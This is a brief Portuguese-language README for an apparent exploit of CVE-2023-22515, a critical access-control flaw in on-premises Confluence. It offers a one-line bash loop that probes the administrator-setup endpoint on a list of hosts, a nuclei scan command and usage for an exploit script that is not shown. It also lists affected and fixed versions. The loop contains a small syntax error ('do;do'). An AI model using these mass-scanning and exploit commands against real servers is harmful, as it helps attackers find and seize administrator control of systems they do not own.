CVE-2023-22515

CVE-2023-22515, uma vulnerabilidade crítica que afeta instâncias on-premises do Confluence Server e Confluence Data Center, uma vulnerabilidade de Controle de Acesso Quebrado. A Attlassian atribuiu uma pontuação base CVSS de 10,0

PoC de uma linha

cat file.txt| while read host do;do curl -skL "http://$host/setup/setupadministrator.action" | grep -i "<title>Setup System Administrator" && echo $host "is VULN";done

Nuclei

nuclei -u target -t CVE-2023-22515.yaml

Pré-requisitos

sudo pip install -r requirements.txt

Uso

sudo python3 exploit.py --url [target]

Versões Afetadas

8.0.0
8.0.1
8.0.2
8.0.3
8.0.4
8.1.0
8.1.1
8.1.3
8.1.4
8.2.0
8.2.1
8.2.2
8.2.3
8.3.0
8.3.1
8.3.2
8.4.0
8.4.1
8.4.2
8.5.0
8.5.1

Versões Corrigidas

8.3.3 ou superior
8.4.3 ou superior
8.5.2 (Lançamento de Suporte de Longo Prazo) ou superior

Referências

• atlassian
• nist